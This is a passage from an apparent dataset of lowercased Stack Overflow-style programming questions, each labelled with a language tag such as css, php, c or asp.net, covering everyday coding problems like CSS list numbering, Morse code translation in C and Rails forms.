&gt;&amp;times;&lt;/span&gt;                                      &lt;h2&gt;modal header&lt;/h2&gt;                                   &lt;/div&gt;                                   &lt;div class= modal-body &gt;                                     &lt;p&gt;biscuit&lt;/p&gt;                                     &lt;p&gt;tasty food&lt;/p&gt;                                   &lt;/div&gt;                                   &lt;div class= modal-footer &gt;                                     &lt;h3&gt;modal footer&lt;/h3&gt;                                   &lt;/div&gt;                                 &lt;/div&gt;                               &lt;/div&gt;                                &lt;button  id modalbtn  class=  button &gt;details&lt;/button&gt;                               &lt;div id= simplemodal  class=  modal &gt;                                 &lt;div class= modal-content &gt;                                   &lt;div class= modal-header &gt;                                       &lt;span class= closebtn &gt;&amp;times;&lt;/span&gt;                                      &lt;h2&gt;modal header&lt;/h2&gt;                                   &lt;/div&gt;                                   &lt;div class= modal-body &gt;                                     &lt;p&gt;biscuit&lt;/p&gt;                                     &lt;p&gt;tasty food&lt;/p&gt;                                   &lt;/div&gt;                                   &lt;div class= modal-footer &gt;                                     &lt;h3&gt;modal footer&lt;/h3&gt;                                   &lt;/div&gt;                                 &lt;/div&gt;                               &lt;/div&gt;                         &lt;/div&gt;                      &lt;/figure&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>,javascript
how to convert a number to scientific notation in php   i am working on a web-based application build with codeigniter.    part of the user form:   <pre><code>&lt;div class= form-group  id= hasil_swab_tpc &gt;   &lt;label for= swab_tpc  class= col-sm-3 control-label &gt;hasil tpc&lt;/label&gt;   &lt;div class= col-sm-8 &gt;     &lt;input type= text  id= swab_tpc  name= swab_tpc  class= form-control  placeholder= hasil analisa tpc &gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   i want the user input normal value  let say <strong>250</strong>  save the value to the database. then in the view page  i want to display that value in scientific notation <strong>2.5 x 10<sup>2</sup></strong>.    my question is: how to convert a number to the scientific notation  for some reason  i need to display the number from user input from <strong>250</strong> to <strong>2.5 x 10<sup>2</sup></strong> and <strong>25</strong> to <strong>2.5 x 10<sup>1</sup></strong>  etc.,php
allowing users to edit some information only on ruby on rails but not admins  i m working on a rails app that i want to allow users to edit only some of their information  like name or personal information  but i want the admin user to be able to edit every thing.  is there any one to help me with this,ruby-on-rails
how to receive data from select-option  when i ll use in the php form this code   <pre><code>    &lt;option value= foo|bar &gt;foo&lt;/option&gt; </code></pre>   than how to receive the part  foo  and the part  bar,html
is it possible to declare a variable as a string   so basically what i m trying to find out  take this scenario:   <pre><code>std::string input; ask user for a string : apples cin &gt;&gt; input; std::string apples =  input ; </code></pre>   so basically  i ask the user for a string  and then create a variable with name of that string. is this possible,c++
how to make a controls item transparent  as you know if you want to make your entire window transparent you probably use this code:   <pre><code>this.opacity = 0.3;//or what ever you want... </code></pre>   and if you want to make your entire window do the same without its frame you use this code:   <pre><code>        this.backcolor = system.drawing.color.lime;         this.transparencykey = system.drawing.color.lime; </code></pre>   but what if i want to only make one item (for example my button) do this  but make all the other items (including the form frame and background) stay the same  what code would i use in this case     tnx....,c#
how to disable the tr and the controls inside that tr like gridview imagebutton  i have tr and inside tr  there are gridview and image button. i want to when i click activate/deactivate button  the the controls inside the tr get disabled and enabled. when disabled  i dont want to allow user to click on gridview and imagebutton.,asp.net
javascript slice off last character if there are 2 of them  how to cut off second sign if there is a second sign    some times id is ....5a and 5b and i need to cut of the  a  and  b     js   <pre><code>$( .mieszkanie ).click(function() {         var num = this.id.replace(/c_10_0/    );         var n = num.length;         if (n = 2) {              [than cut second sign]         }         $( .pdf ).attr({              href:  img/rzuty/mieszkania/pietro10rzuty/00  + num +  .pdf          });         $( .karta img ).attr({              src:  img/rzuty/mieszkania/pietro10rzuty/00  + num +  .png               alt:  mieszkanie 00  + num         });     }); </code></pre>   html   <pre><code>&lt;div id= rzuty10p  class= rzuty &gt;             &lt;span id= c_10_01  class= mieszkanie  title=  &gt;&lt;/span&gt;             &lt;span id= c_10_02  class= mieszkanie  title=  &gt;&lt;/span&gt;             &lt;span id= c_10_03  class= mieszkanie  title=  &gt;&lt;/span&gt;             &lt;span id= c_10_04  class= mieszkanie  title=  &gt;&lt;/span&gt;             &lt;span id= c_10_06  class= mieszkanie  title=  &gt;&lt;/span&gt;             &lt;span id= c_10_05a  class= mieszkanie  title=  &gt;&lt;/span&gt;             &lt;span id= c_10_05b  class= mieszkanie  title=  &gt;&lt;/span&gt;         &lt;/div&gt; </code></pre>,javascript
"css nest-list - how to subsection  im creating a list like this one <a href= https://i.stack.imgur.com/tavuj.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/tavuj.png  alt= enter image description here ></a>    i want to list rottweiler and doberman like 1.1 and 1.2  but i have no idea how to do it. i copied that css list template and made some modifications. here is the code:     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#lista2 {
     counter-reset: li; 
     list-style: none; 
     *list-style: decimal; 
     font: 15px  trebuchet ms    lucida sans ;
     padding: 0;
     margin-bottom: 4em;
     text-shadow: 0 1px 0 rgba(255 255 255 .5);
 }
 
 #lista2 ol {
     margin: 0 0 0 2em; 
      counter-reset: section;             
    list-style-type: none;
 }
 
 #lista2 li{
     position: relative;
     display: block;
     padding: .4em .4em .4em 2em;
     *padding: .4em;
     margin: .5em 0;
     background: #ddd;
     color: #444;
     text-decoration: none;
     border-radius: .3em;
     transition: all .3s ease-out;   
 
 }
 
 #lista2 li:hover{
     background: #eee;
 }
 
 #lista2 li:hover:before{
     transform: rotate(360deg);  
 }
 
 #lista2 li:before{
     content: counter(li);
     counter-increment: li;
     position: absolute; 
     left: -1.3em;
     top: 50%;
     margin-top: -1.3em;
     background: #87ceeb;
     height: 2em;
     width: 2em;
     line-height: 2em;
     border: .3em solid #fff;
     text-align: center;
     font-weight: bold;
     border-radius: 2em;
     transition: all .3s ease-out;
 }
 
 #lista2 ol ol li:before{
  counter-increment: li;
   content: counters(li  . )    ;
 }
 #lista2 ol {
     counter-reset: li;
     list-style: none;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;ol id= lista2 &gt;
   &lt;li&gt;animals
    &lt;ol&gt;
     &lt;li&gt;dogs&lt;/li&gt;
      &lt;ol&gt;
       &lt;li&gt;rottweiler&lt;/li&gt;
       &lt;li&gt;doberman&lt;/li&gt;
      &lt;/ol&gt;
     &lt;li&gt;cats&lt;/li&gt;
     &lt;li&gt;cacatoos&lt;/li&gt;
     &lt;/ol&gt;
   &lt;/li&gt;
  &lt;/ol&gt;</code></pre>
 </div>
 </div>
  i hope someone could help me. thanks!",css
export to excel from db not working inside update panel  in home page of may application i have 4 charts inside update panel which gets updated depending on the pagefilters. i have to pull the base of each chart to excel. creating a image button for each chart i wrote export to excel code. but its not working inside the update panel. i have to place each button near the chart header.    please help in solving this. below is my code.   <pre><code>&lt;table&gt; &lt;tr&gt;&lt;td colspan=2&gt; &lt;asp:updatepanel id=global runat= server  updatemode= conditional &gt;  &lt;contenttemplate runat= server &gt;  &lt;table width=100% &gt; &lt;tr&gt;  &lt;td align= center  colspan=2&gt; &lt;asp:label id= lbl_homeheader  runat= server  font-bold= true       font-size= large  forecolor=#cc0000 &gt;&lt;/asp:label&gt; &lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td align= center  class= style4 &gt;  &lt;asp:label id= label2  runat= server      text= critical openso s- offshore count status  font-bold= true       forecolor= #003366  font-underline= true &gt;&lt;/asp:label&gt;       &lt;asp:imagebutton   id= so_count_off                   imageurl= ~/image_oneime/excel_dwld.png   text= next   runat= server  onclick= so_count_off_click  /&gt;  &lt;/td&gt; &lt;td align= center  class= style4 &gt;  &lt;asp:label id= label3  runat= server      text= critical openso s- onsite count status  font-bold= true       forecolor= #003366  font-underline= true &gt;&lt;/asp:label&gt; &lt;asp:imagebutton id= so_count_on  imageurl= ~/image_oneime/excel_dwld.png        runat= server  onclick= so_count_on_click  /&gt;  &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt;  protected void socountoff() {     if (ddlpage_gm.selectedindex == 0)     {         //string d =  criticalopenso_na-offshorecount ;          dsgrid = objso.fillsona_count_off();         if (dsgrid.tables[0].rows.count &gt; 0)         {             viewstate[ fillnaoffcount ] = dsgrid.tables[0];            // exporttoexcel1((datatable)viewstate[ fillnaoffcount ]);         }     }   protected void so_count_off_click(object sender  imageclickeventargs e) {  socountoff();  exporttoexcel1((datatable)viewstate[ fillnaoffcount ]); } </code></pre>,asp.net
regarding if conditions and || operator in c++  so i didn t write the below piece of code. i came across it  and am curious as to how the if condition is evaluated.   <pre><code>if(a==b || c || d || e) </code></pre>   i think it just checks if a==b and the rest of the code is meaningless. am i right  does the c d e have any meaning  another side question  what does this evaluate    <pre><code>if(a == (b || c || d || e)) </code></pre>   i m not very experienced in c++,c++
java  close filewriter changes file md5 value  i need to create a md5 file after creating a file with some contents.    but i find a problem that the md5 value of the file is different from the actual file value though i don t change the file itself.     at last i find that if i create the md5 file inside the try-with-resources block  the md5 changes. i wrote below code snippet to verify what i guess   <pre><code>public static void main(string[] args) throws ioexception {     string filepath =  d:\\push\\file\\imei2device\\imei2device.txt ;     file f = new file(filepath);     try (filewriter fw = new filewriter(f);){         fw.write( something );         //createmd5file(filepath);// create here  not ok!      }     catch (exception ex) {         ex.printstacktrace();     }     createmd5file(filepath);// create here  ok     logger.info( create md5 file successfully  notmodified: {}   mappedfilereader.isfilenotmodified(filepath)); } </code></pre>   when i put <code>createmd5file</code> in two different place   i will find a md5 value is different.    i suspect that the file itself is different when the filewriter is close  like the eof,java
how can i delete recorded session in mysql database and automatically logout user after inactivity  i have a mysql table named  session   when user logs in  ip is automatically recorded to that table so another person can not log in with same user  now i m facing a problem  i want to destroy session automatically even if that user closes his browser and delete record from that table after inactivity of 5 min.,php
how to prevent exc_bad_access from crashing an app   is there a way to prevent an <code>exc_bad_access</code> from crashing an app  like with <code>@try..@catch</code> you can handle an exception gracefully.    update:    the code crashes when it attempts to dereference an invalid pointer.  this is a third party library and it interfaces with external hardware so i can t debug locally.  i am trying to prevent it from crashing and output data to a debugging console on my app.,objective-c
ruby and rails server is already runing  i want to start my server through this command but it show me warning server is all ready running. how can stop the server forcefully     <pre><code>jaskaran@jaskaran-vostro-1550:~/rails_project$ rails s =&gt; booting webrick =&gt; rails 4.0.2 application starting in development on http://0.0.0.0:3000 =&gt; run `rails server -h` for more startup options =&gt; ctrl-c to shutdown server a server is already running. check /home/jaskaran/rails_project/tmp/pids/server.pid. exiting </code></pre>   if it is already running then it not working why,ruby-on-rails
i meet an error says nil argument in ios  in ios i want to ut the <code>viewcontroller</code> s function after running it keeps saying error:nil argument.i don t know how to solve it  if anybody know that can help me     this  the java code:   <pre><code>#import  masterviewcontroller.h    #import &lt;ghunitios/ghunit.h&gt;    @class masterviewcontroller;    @interface masterviewcontrollertest : ghviewtestcase{   nsstring* _type;   nsstring* _msgid;   nsstring* _url;   nsstring* _opened;   }@property(nonatomic retain) masterviewcontroller* masterviewcontroller;   @end    @implementation masterviewcontrollertest   @synthesize masterviewcontroller;    -(void)setup{   masterviewcontroller *viewcontroller = [[masterviewcontroller alloc]init];   self.masterviewcontroller = viewcontroller;   }    -(void)testpostviewtimetoserv{       _type = @ m ;   _url = nil;   _opened = nil;   _msgid = @  ;    bool resultvalue = [self.masterviewcontroller saveandpostviewmagbodytime:_type      arg_url:_url arg_open:_opened mid:_msgid];    ghassertnotequals(resultvalue  yes  @  post msgis is nil fail );    }   @end   </code></pre>   and the <code>testpostviewtimetoserv</code> error show is:   <hr>   test suite  tests  started.  starting masterviewcontrollertest/testpostviewtimetoserv  2012-04-02 20:50:42.269 kmsgghunittests[7747:10b0f]  name: nsinvalidargumentexception  file: unknown  line: unknown  reason: <em>*</em> -[nsplaceholderstring initwithstring:]: nil argument    <hr>   why,ios
exception while using jwrapper  i m trying to build an exe from jar file using jwrapper . why am i getting the error as shown in the below on trying to generate exe using jwrapper  pls help   <pre><code>c:\documents and settings\administrator&gt;java  -jar g:\ims\jwrapper-00018512673.j ar  g:\ims\app.xml jwrapper 00018512673 jwrappercompiler started [config] building file is g:\ims\app.xml [updates] checking for updates... java.lang.reflect.invocationtargetexception         at sun.reflect.nativemethodaccessorimpl.invoke0(native method)         at sun.reflect.nativemethodaccessorimpl.invoke(unknown source)         at sun.reflect.delegatingmethodaccessorimpl.invoke(unknown source)         at java.lang.reflect.method.invoke(unknown source)         at securerunner2.&lt;init&gt;(securerunner2.java:464)         at sun.reflect.nativeconstructoraccessorimpl.newinstance0(native method)          at sun.reflect.nativeconstructoraccessorimpl.newinstance(unknown source)          at sun.reflect.delegatingconstructoraccessorimpl.newinstance(unknown sou rce)         at java.lang.reflect.constructor.newinstance(unknown source)         at securerunner1.&lt;init&gt;(securerunner1.java:422)         at securerunner1.&lt;init&gt;(securerunner1.java:227)         at securerunner1.main(securerunner1.java:52)         at sun.reflect.nativemethodaccessorimpl.invoke0(native method)         at sun.reflect.nativemethodaccessorimpl.invoke(unknown source)         at sun.reflect.delegatingmethodaccessorimpl.invoke(unknown source)         at java.lang.reflect.method.invoke(unknown source)         at jwrapper.launch.jwcompiler.main(jwcompiler.java:99) caused by: java.lang.nullpointerexception         at jwrapper.jwrappercompiler.main(jwrappercompiler.java:458)         ... 17 more [updates] update check: 18512673 vs 18473665 (online) </code></pre>   my app.xml file   <pre><code>&lt;jwrapper&gt;      &lt;!-- this tells jwrapper the name of your app bundle --&gt;     &lt;bundlename&gt;minimalapp&lt;/bundlename&gt;      &lt;!-- this bit defines a virtual app - your app bundle can have one of these or a bunch of them --&gt;     &lt;app&gt;          &lt;!-- the name of the app that launches --&gt;         &lt;name&gt;tx&lt;/name&gt;          &lt;!-- the logo for the app  we automatically scale and convert it to os specific formats --&gt;           &lt;!-- the java main class for your app --&gt;         &lt;mainclass&gt;ims.init.selector&lt;/mainclass&gt;          &lt;!-- any static parameters you want to pass in to your main method --&gt;         &lt;param&gt;one&lt;/param&gt;         &lt;param&gt;two&lt;/param&gt;      &lt;/app&gt;      &lt;!-- this tells jwrapper what languages your app uses so jwrapper can let the user choose (if its more than one) --&gt;     &lt;supportedlanguages&gt;en fr&lt;/supportedlanguages&gt;      &lt;!-- if your app needs to run elevated (as admin) on windows you can specify that here --&gt;     &lt;windowselevation&gt;none&lt;/windowselevation&gt;      &lt;!-- this app installs itself for the current user  you can also install for all users or run as a temporary executable --&gt;     &lt;installtype&gt;currentuser&lt;/installtype&gt;      &lt;!-- this is the optional update url for the app  if the files here get updated the app will auto update--&gt;     &lt;updateurl&gt;http://minimal.jwrapper.com/&lt;/updateurl&gt;        &lt;!-- here s where you specify your windows 32 bit jre  note that you can use a 32 bit jre on 64 bit windows --&gt;     &lt;windows32jre&gt;../windows/jre1.6.0_16&lt;/windows32jre&gt;     &lt;windows64jre&gt;../windows/jre1.6.0_16&lt;/windows64jre&gt;     &lt;linux32jre&gt;../linux/jre1.6.0_16&lt;/linux32jre&gt;     &lt;linux64jre&gt;../linuxx64/jre1.6.0_16&lt;/linux64jre&gt;      &lt;!-- here s where you can add jar files or whatever else your app needs to run --&gt;     &lt;file classpath= yes &gt;lib/*.jar&lt;/file&gt;     &lt;file classpath= no  path= translations.properties &gt;resources/translation.properties&lt;/file&gt;  &lt;/jwrapper&gt; </code></pre>,java
trying to get the contents of a div to scale properly to it s size  i ve got a and logic gate being created with a set of divs. i would like them to scale with the size of the outer most <code>.gate</code> div. i would like it to be 100% the width and height of the <code>.gate</code> div.    i ve got things almost working  the and gate is 2 pixels taller and with width is a bit wonky. the width i think has to do with the padding on the <code>.outer</code> div but i m not sure of a better way to do it.    <a href= http://jsfiddle.net/jzaun/ent2d/  rel= nofollow >jsfiddle</a>    <strong>html</strong>   <pre><code>&lt;div class= gate &gt;     &lt;div class= outer &gt;         &lt;div class= inner &gt;             &lt;div class= andina &gt;&lt;/div&gt;             &lt;div class= andinb &gt;&lt;/div&gt;             &lt;div class= andouta &gt;&lt;/div&gt;             &lt;div class= andleft &gt;&lt;/div&gt;             &lt;div class= andright &gt;&lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   <strong>css</strong>   <pre><code>.gate {     position: relative;     width: 150px;     height: 100px;     background-color: #ccc; } .outer {     position: relative;     padding: 0 30% 0 0;     height: 100%; } .inner {     position: relative;     margin: 0 20% 0 20%;     width: 100%;     height: 100%; } .gate .andleft {     position: absolute;     left: 0px;     height: 100%;     width: 45%;     border-top: 1px solid black;     border-bottom: 1px solid black;     border-left: 1px solid black;     border-right: 0px solid black; } .gate .andright {     position: absolute;     right: 0px;     height: 100%;     width: 75%;     border-top: 1px solid black;     border-bottom: 1px solid black;     border-left: 0px solid black;     border-right: 1px solid black;     border-radius: 0% 100% 100% 0%; } .andina {     position: absolute;     top: 25%;     margin-left: -20%;     width: 20%;     height: 1px;     border-top: 1px solid black; } .andinb {     position: absolute;     top: 75%;     margin-left: -20%;     width: 20%;     height: 1px;     border-bottom: 1px solid black; } .andouta {     position: absolute;     top: 50%;     right: 0px;     margin-right: -20%;     width: 20%;     height: 1px;     border-top: 1px solid black; } </code></pre>,css
how do you make borders collapse on a span   if you do the tryit editor on this html and make the result window narrow (like 200px)  the border is inside the span as it occupies multiple lines. how can i  collapse  the border so it just makes a single (irregular) border around the span  <a href= http://www.w3schools.com/cssref/tryit.asp filename=trycss3_word-wrap  rel= nofollow noreferrer >http://www.w3schools.com/cssref/tryit.asp filename=trycss3_word-wrap</a>    i m not trying to alter the flow. i m trying to  highlight a sentence  like you would with a highlighter. but i want a border too. but i want a single irregularly shaped border  not the default border.    current problem: <a href= https://i.stack.imgur.com/h4zmn.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/h4zmn.png  alt= enter image description here ></a>    <strong>[don t forget to replace the editor html with this html]</strong>   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;style&gt; .test {     width: 11em;     border: 1px solid #000000;     word-wrap: break-word; border-collapse:collapse; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt;  &lt;p&gt; &lt;span class= test &gt; this paragraph contains a very long word: thisisaveryveryveryveryveryverylongword.&lt;/span&gt; the long word will break and wrap to the next line.&lt;/p&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   <strong>edit</strong> the fixed span:    <a href= https://i.stack.imgur.com/sls62.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/sls62.png  alt= enter image description here ></a>,css
how to close all the opened windows(except the parent)onclick from a parent window in javascript   i have a parent window which calls for a function that opens 2 new windows in javascript. when i click a close button  i want to close both the child windows. i tried window.close(windowname); windowname.close(). both didn t work.    please help..,javascript
<%@ page language= c#  autoeventwireup= true  codefile=   inherits=   %>  i am trying to run my application  it gives me error:   <pre><code>make sure that the class defined in this code file matches the  inherits  attribute  and  that it extends the correct base class (e.g. page or usercontrol). </code></pre>   please tell me the use of this inherits parameter in this tag,asp.net
what are dangers from running select queries supplied by users   if i limit my user s input sql statement so that it starts with select  can any injection attacks be run in that case  am i leaving a different security hole (beyond getting access to all data that the schema has permission to access)     <strong>edit</strong> what if i also ban semi-colon(;),sql
how to make my clock app work  i wanted to make a timer that ran on user input like most timer apps or an egg timer.i wrote the code but i come up with garbage values and barely working code. please help!   <pre><code>#include&lt;stdio.h&gt; #include&lt;conio.h&gt; #include&lt;time.h&gt; #include&lt;stdlib.h&gt;  main(){     int h=0;     int s=0;     int m=0;     printf( please enter the time you want for the timer. );     printf( please enter how many hours you want for the timer.(max 24!) );     scanf( %d  &amp;h);     printf( please enter how many minutes you want for the timer.(max 59!) );     scanf( %d  &amp;m);     printf( please enter how many seconds you want for the timer.(max 59!) );     scanf( %d  &amp;s);      while (s&lt;=60){          printf(  %d hours %d minutes and %d seconds \n   m  s);//gives the     countdown output         sleep(1); //for delaying in seconds.         s++;// adds one to the second counter          if(s==60){         m++;//adds one to the second counter when seconds reach 60         s=0;//resets seconds value to 0.     }         if(m==60){         h++;         m=0;     }         if(h==24){         printf( the timer has reached max output!\n );         break;         }      }         getch();   } </code></pre>,c
i want to find all sub matrix of a matrix. i made a code in c  but it only finds square ones. how can i improve my code  the following code finds all square sub matrix of a square matrix:   <pre><code>#include &lt;stdio.h&gt;     int main() { int mtrx_size = 3; int mat[3][3] = {     { 1  2  3}      { 9 10 11}      {17 18 19}  }; </code></pre>   //i took 3*3 matrix for example though it works for any square matrix   <pre><code>int i  j  k  l  m; int sub_mtrx_size;  for(sub_mtrx_size = mtrx_size; sub_mtrx_size &gt; 1 ; sub_mtrx_size--) {     m = mtrx_size - sub_mtrx_size + 1;     for (k = 0; k &lt;m; k++) {         for (l = 0; l &lt;m; l++) {             for (i = 0; i &lt; sub_mtrx_size; i++) {                 for (j = 0; j &lt; sub_mtrx_size; j++) {                     printf( %3d    mat[i+k][j+k]);                 }                 printf( \n );             }             printf( \n );         }     } }  return 0;  } </code></pre>   but i want to find all of the sub matrix of a matrix.,c
make a string represent an array  i have an array   <pre><code>string myarray[]={ one   two   three   four }; </code></pre>   in my code i am using a string with the same name as the array.is there anyway to make that string point to the array    <pre><code>string thearray =  myarray ;  thearray[0]; </code></pre>   is this even possible,java
creating a new function in a seperate file and using a header file  my next step is to break my program into several functions outside the main code  in spate files and using a header file.    the first function i moved was the change to uppercase function and this works great.    i have now tried to create a new function to do the conversion to from morse code to alphanumerical.  seem to be getting plenty of errors.    i have attached my main program followed by the function programs followed by the header file.    main program   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;stdlib.h&gt; #include &lt;stdbool.h&gt; #include &lt;ctype.h&gt;  #include  morse.h   int main(void) {  char *morse[] = { /   .-   -...   -.-.   -..   .   ..-.   --        .   ....   ..   .---   -.-   .-..   --   -.   ---   .--.   --.-   .-        .   ...   -   ..-   ...-   .--   -..-   -.--   --..   -----   .----           ..---   ...--   ....-   .....   -....   --...   ---..   ----. }; char *alpha[] =  {      a    b            c      d     e   f      g     h      i    j      k     l      m    n            o     p      q      r     s     t   u     v      w     x      y      z              0       1       2       3       4       5       6       7       8            9 };     char *print_array[50];   int print_array_index = 0;    char hold[50];   int hold_index = 0;    char input[200];   int i = 0;  //requesting input from the user printf( welcome to the morse translator.\n );     printf( enter input:  );     fgets(input  sizeof(input)  stdin);  // call to a function that converts user input to uppercase turnupcase(input);      if (input[0]== -  || input[0]== . )     {     //calls the function to convert morse code to alpha     morsetoalpha(input  *alpha  *morse); }     // this section is now in a seperate function /*      while (input[i] != \0 ) {          if (input[i] ==    || input[i] ==  \n )         {             hold[hold_index] =  \0 ;              bool found = false;              for (int x = 0; x &lt; sizeof(morse) / sizeof(char *); x++)             {                 if (strcmp(morse[x]  hold) == 0)                 {                     print_array[print_array_index++] = alpha[x];                      found = true;                      break;                 }             }              if (!found)             {                 fprintf(stderr   invalid morse code! );                 return 0;             }              hold_index = 0;         }         else         {             hold[hold_index++] = input[i];         }          i++;     }     for (int x = 0; print_array_index &gt; x; x++)     //for (int x = 0; x &lt; print_array_index; x++)     {         printf( %s   print_array[x]);      }      printf( \n ); }  */  else if (isalnum(input[0])) {     while (input[i]!= \0  &amp;&amp; input[i] != \n )     {         bool found = false;          for (int x=0; x &lt; sizeof(alpha)/sizeof(char*);x++)         {             if (*alpha[x]==input[i])             {                 print_array[print_array_index++] =    morse [x];                   found = true;                 break;             }         }         if (!found)         {             fprintf(stderr   invalid input!\n );             return 0;         }         i++;      }     printf( %s  print_array[0]);     for (int x=1; x &lt; print_array_index; x++)     {         printf(  %s  print_array[x]);     }     printf( \n ); }                return 0; } </code></pre>   my function that does is causing errors   <pre><code>#include&lt;stdlib.h&gt; #include&lt;stdio.h&gt; #include&lt;stdbool.h&gt; #include&lt;string.h&gt; #include morse.h    void morsetoalpha(char *in  char *letters  char *code) { int i=0; int x=0;  char *print_array[50]; int print_array_index =0;  char hold[50]; int hold_index = 0;    while (in[i] != \0 )  {          if (in[i] ==    || in[i] ==  \n )         {             hold[hold_index] =  \0 ;              bool found = false;              for (int x = 0; x &lt; sizeof(code) / sizeof(char *); x++)             {                 if (strcmp(*code[x]  hold) == 0)                 {                     print_array[print_array_index++] = letters[x];                      found = true;                      break;                 }             }              if (!found)             {                 fprintf(stderr   invalid morse code! );                 return 0;             }              hold_index = 0;         }         else         {             hold[hold_index++] = in[i];         }          i++;     }     for (int x = 0; print_array_index &gt; x; x++)     //for (int x = 0; x &lt; print_array_index; x++)     {         printf( %s   print_array[x]);      }      printf( +++++\n ); } </code></pre>   current compile errors    morsetoalpha.c: in function  morsetoalpha : morsetoalpha.c:32:29: error: invalid type argument of unary  *  (have  int )    if (strcmp(*code[x]  hold) == 0) ^ morsetoalpha.c:34:55: warning: assignment makes pointer from integer without a cast [-wint-conversion] print_array[print_array_index++] = letters[x]; ^ morsetoalpha.c:45:13: warning:  return  with a value  in function returning void return 0; ^,c
rails - show updated fields when editing  i am rolling my own authentication  and the issue i am running into is the edit form for my users. i here is the form...   <pre><code>#app/views/users/edit.html.erb &lt;h1&gt;editing user&lt;/h1&gt; &lt;%= render  form  %&gt; &lt;%= link_to  show   @user %&gt; | &lt;%= link_to  back   root_path %&gt;  #app/views/users/_form.html.erb &lt;%= form_for @user do |f| %&gt;   &lt;% if @user.errors.any  %&gt;     &lt;div class= error_messages &gt;       &lt;h2&gt;form is invalid&lt;/h2&gt;       &lt;ul&gt;         &lt;% @user.errors.full_messages.each do |message| %&gt;           &lt;li&gt;&lt;%= message %&gt;&lt;/li&gt;         &lt;% end %&gt;       &lt;/ul&gt;     &lt;/div&gt;   &lt;% end %&gt;    &lt;div class= field &gt;     &lt;%= f.label :email %&gt;&lt;br /&gt;     &lt;%= f.text_field :email %&gt;   &lt;/div&gt;   &lt;div class= field &gt;     &lt;%= f.label :password %&gt;&lt;br /&gt;     &lt;%= f.password_field :password %&gt;   &lt;/div&gt;   &lt;div class= field &gt;     &lt;%= f.label :password_confirmation %&gt;&lt;br /&gt;     &lt;%= f.password_field :password_confirmation %&gt;   &lt;/div&gt;   &lt;div class= field &gt;     &lt;%= f.select :user_type  options_for_select([ bar    brewery    restaurant    hotel ]) %&gt;&lt;br/&gt;   &lt;/div&gt;   &lt;div class= actions &gt;&lt;%= f.submit  sign up  %&gt;&lt;/div&gt; &lt;% end %&gt; </code></pre>   the issue i am having is that when i display the edit form the :user_type field is not correct. i want this field to reflect what is currently saved for the current user  instead i just get the drop down with the first option in the list displayed.,ruby-on-rails
display:table property not working in ie7  in asp.net mvc3 the following error occurs. i use the following css in my project. it works in ie8 and ie9 but not working in ie7.<br> i want the solution for it. help me for this issue     css is:   <pre><code>.divrow {     display: table;     width: auto;     clear: both;     border-bottom: 1px solid #cccccc; }   .attlistheading {     display: table-cell;     width: 190px;     overflow: auto;     padding: 5px 5px 5px 7px;     text-align: left;     vertical-align: text-top;     border-bottom: 1px solid #cccccc; /* border-right:1px solid #cccccc;*/ } .divcellheading {     width: 378px;     overflow: auto;     display: table-cell;     text-align: center;     padding: 5px;     border-left: 1px solid #cccccc;     border-bottom: 1px solid #cccccc; }  .divcell {     /*display:table-footer-group;*/     width: 378px;     overflow: auto;     display: table-cell;     text-align: center;     border-left: 1px solid #cccccc;     padding: 5px; } </code></pre>,css
css on selected checkbox  i have this kind of checkbox on my site atleast 4 checkbox   <pre><code>&lt;div id= product &gt;    &lt;div class= checkbox &gt;       &lt;label&gt;         &lt;input type= checkbox &gt;         &lt;img src= http://test.com/dev/image/cache/catalog/chains/chain_1-50x50.jpg  alt= chain 1 +₱10.00  class= img-thumbnail &gt;          chain 1 (+₱10.00)       &lt;/label&gt;    &lt;/div&gt; &lt;/div&gt; </code></pre>   how can i add css that when i select the checkbox  the image will add some border and the text will be bigger    i have this code but does not work   <pre class= lang-css prettyprint-override ><code> #product :checked + label {   font-weight: bold; }   #product :checked + img{   border:1px solid red }  </code></pre>,css
determine which forms is on top  i need a function that  given 2 form handle  can decide which one is on top of the other. obviously we have two options:   <ol> <li>the two forms don t intersect  and in this case the function should return 0 </li> <li>the two forms intersect  and the function should return -1     or 1 depending which one is over the other</li> </ol>   i ve tried using getforegroundwindow  and it works fine if those 2 are the only forms opened. what i need is a more general solution  that works everytime  even if none of the 2 forms has the focus. any suggestion,c#
how awful is my decorator   i recently created a @sequenceable decorator  that can be applied to any function that takes one argument  and causes it to automatically be applicable to any sequence. this is the code (python 2.5):   <pre><code>def sequenceable(func):     def newfunc(arg):         if hasattr(arg   __iter__ ):             if isinstance(arg  dict):                 return dict((k  func(v)) for k  v in arg.iteritems())             else:                 return map(func  arg)         else:             return func(arg)     return newfunc </code></pre>   in use:   <pre><code>@sequenceable def unixtime(dt):     return int(dt.strftime( %s ))  &gt;&gt;&gt; unixtime(datetime.now()) 1291318284 &gt;&gt;&gt; unixtime([datetime.now()  datetime(2010  12  3)]) [1291318291  1291352400] &gt;&gt;&gt; unixtime({ start : datetime.now()   end : datetime(2010  12  3)}) { start : 1291318301   end : 1291352400} </code></pre>   my questions are:   <ul> <li>is this a terrible idea  and why </li> <li>is this a possibly good idea  but has significant drawbacks as implemented </li> <li>what are the potential pitfalls of using this code </li> <li>is there a builtin or library that already does what i m doing </li> </ul>,python
